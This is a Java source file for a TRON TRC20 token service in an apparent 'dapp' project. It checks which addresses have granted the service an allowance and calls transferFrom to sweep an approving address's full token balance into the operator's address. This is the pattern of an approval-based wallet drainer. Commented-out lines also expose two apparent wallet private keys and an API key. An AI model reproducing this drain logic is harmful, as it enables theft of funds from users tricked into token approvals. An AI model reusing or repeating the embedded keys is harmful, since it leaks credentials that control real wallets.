package cc.mrbird.febs.dapp.chain;
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import cc.mrbird.febs.dapp.dto.BatchTransferDto;
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import org.tron.trident.core.ApiWrapper;
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import org.tron.trident.core.contract.Contract;
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import org.tron.trident.core.contract.Trc20Contract;
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import java.math.BigDecimal;
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import java.math.BigInteger;
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import java.math.RoundingMode;
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import java.util.List;
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/**
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*
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* 查询是否有多个授权
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* https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
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*
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* @author
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* @date 2022-03-21
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**/
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public class TrxService implements ContractChainService {
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// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
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// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
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private final String ADDRESS;
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// private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
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// private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
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//
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// private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
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// private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
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private Trc20Contract contract = null;
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// public static TrxService INSTANCE = new TrxService();
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// public TrxService() {
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// ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
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//
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// Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
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// contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
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// }
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public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
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this.ADDRESS = address;
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ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
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Contract trc20Contract = wrapper.getContract(contractAddress);
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contract = new Trc20Contract(trc20Contract, address, wrapper);
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}
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@Override
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public BigInteger allowance(String owner) {
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return contract.allowance(owner, ADDRESS);
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}
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@Override
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public boolean isAllowance(String address) {
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return allowance(address).intValue() != 0;
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}
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@Override
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public BigInteger balanceOfUnDecimal(String address) {
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return contract.balanceOf(address);
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}
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@Override
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public BigDecimal balanceOf(String address) {
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BigInteger chainData = balanceOfUnDecimal(address);
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BigInteger decimals = contract.decimals();
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BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
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return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
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}
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@Override
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public int decimals() {
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return 0;
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}
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@Override
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public String transfer(String address) {
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BigInteger balance = balanceOfUnDecimal(address);
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return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
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}
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@Override
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public String transfer(String address, BigDecimal amount) {
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BigInteger decimals = contract.decimals();
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BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
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amount = amount.multiply(mul);
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return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
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}
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@Override
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public int allowanceCnt(String address) {
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return 0;
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}
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public static void main(String[] args) {
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// System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
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}
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@Override
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public BigInteger blockNumber() {
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return null;
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}
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@Override
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public BigInteger totalSupply() {
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return null;
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}
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@Override
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public BigInteger totalSupplyNFT() {
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return null;
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}
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@Override
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public String safeMintNFT(String address) {
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return null;
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}
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@Override
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public void transferList(List<BatchTransferDto> batchTransferDtos) {
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}
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}
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